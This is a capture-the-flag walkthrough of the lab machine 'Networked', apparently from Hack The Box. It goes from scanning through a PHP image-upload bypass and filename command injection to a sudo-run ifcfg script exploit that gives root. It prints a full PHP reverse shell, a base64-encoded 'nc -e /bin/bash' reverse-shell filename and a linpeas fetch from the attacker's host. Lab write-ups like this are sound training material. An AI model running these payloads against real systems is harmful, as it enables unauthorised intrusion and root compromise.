Networked
Nmap
sudo nmap -Pn -n 10.129.10.252 -sC -sV -p- --min-rate=10000 --open
sudo nmap -Pn -n $IP -sU --top-ports=100 --reason


HTTP - 80

Lets do a gobuster scan to enumerate further
sudo gobuster dir -w '/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt' -u http://10.129.10.252 -t 42 -b 400,401,403,404 --no-errorV
We can already see some hits. lets check them out


tar -xvf backup.tar
We get a bunch of php files that look like...well backups lol. Tha being said lets run another gobuster scan, the same one but we will add the -x flag to specify files
sudo gobuster dir -w '/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt' -u http://10.129.10.252 -t 42 -b 400,401,403,404 --no-error -x php,txt,html


If we browse to /upload.php then we get a page to upload a file.
It seems every file extension is being rejected. We get the error "Invalid image file" but even png and jpeg files dont work.
We need to take a look at whats going on under the hood. Its no coincidence we have access to the code in the backup.tar we downloaded
We can see the file extensions allowed: png, jpg, jpeg but the reason why the uploads werent working was because the code is also checking the MIME type, meaning that its checking if its an actual picture, not just a file renamed into a .jpg file
After downloading a real jpeg of a cat and uploading that we get it to work. Some googling later and I found that we can inject php into the image without changing the MIME type
lets just add some php to the end of the image file:
echo '<?php phpinfo(); ?>' >> cat.jpeg
the only thing left to do is rename the file
mv cat.jpeg cat.php.jpeg
Upload and navigate to /photos.php, copy the name of the uploaded file and the navigate to /uploads/name_of_file. in this case its /uploads/10_10_14_195.php.jpeg

Now lets try and get a shell
create a shell.php file with the following contents. Make sure to change the IP and PORT
<?php
// Usage
// -----
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
cat shell.php >> cat.jpeg
mv cat.jpeg cat.php.jpeg
Set up a listener
nc -lvnp 4444
Upload again and we get a shell

Privilege Escalation
We find ourselves as apache user. if we check the /etc/passwd file we can see theres a user named guly

If we navigate to /home/guly directory we can see theres a crontab that runs check_attack.php every 3 minutes but checking permissions it looks like only root can write to it
Lets inspect the file more
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
The line that catches our eye is:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
We can see that $value is appended to path without proper sanitization. So we can probably use code injection here
However, we have two lines that reference functions not in the current file:
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
The top of the file's require line shows us its getting it from lib.php
<?php
function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename<br>\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">
<br>
<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}
?>
In lib.php, check_ip just runs $name through filter_var, which is using FILTER_VALIDATE_IP to check for valid IP addresses. As getnameCheck() is exactly the same as getnameUpload() above, $name will be anything before the first ..
This means any file we write in the uploads directory that isn’t named a valid IP will be passed to the part we can inject into.
So lets create an encoded payload to make our filename
echo nc -e /bin/bash 10.10.14.195 4444 | base64 -w0
Then set up a netcat listener on our host machine
rlwrap nc -lvnp 4444
and create the file on the target
touch '/var/www/html/uploads/a; echo bmMgLWUgL2Jpbi9iYXNoIDEwLjEwLjE0LjE5NSA0NDQ0Cg== | base64 -d | sh; b'


Lets run linpeas to grab some low-hanging fruit
on host machine:
python3 -m http.server 8000
back on target
curl --output linpeas.sh "http://10.10.14.195:8000/linpeas.sh"
While not the usual highlight that captures the eye with linpeas, I noticed an interesting file called changename.sh

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0

We can see it that root owns it
Lets check what the user guly can run as sudo
sudo -l

Turns out he can run our interesting file!
The file references icf, maybe some networking protocol?
After some digging I found a section on Hacktrick's Linux Privesc page....coincidence?
If, for whatever reason, a user is able to write an
ifcf-<whatever>script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.Network scripts, ifcg-eth0 for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d).
In my case, the
NAME=attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. This means that everything after the first blank space is executed as root.For example: /etc/sysconfig/network-scripts/ifcfg-1337
Now the changename.sh script makes sense. If it changes the name, and we add a space then our command, it will run as root. Lets try it out and just add some nonsense words

We can see a: command not found being repeated. This is our entry point. instead of our nonsense word lets try putting /bin/id instead after wait

Nice it worked. So lets do it one more time, this time using the su - command to get a root shell

Nice. Onto the next challenge !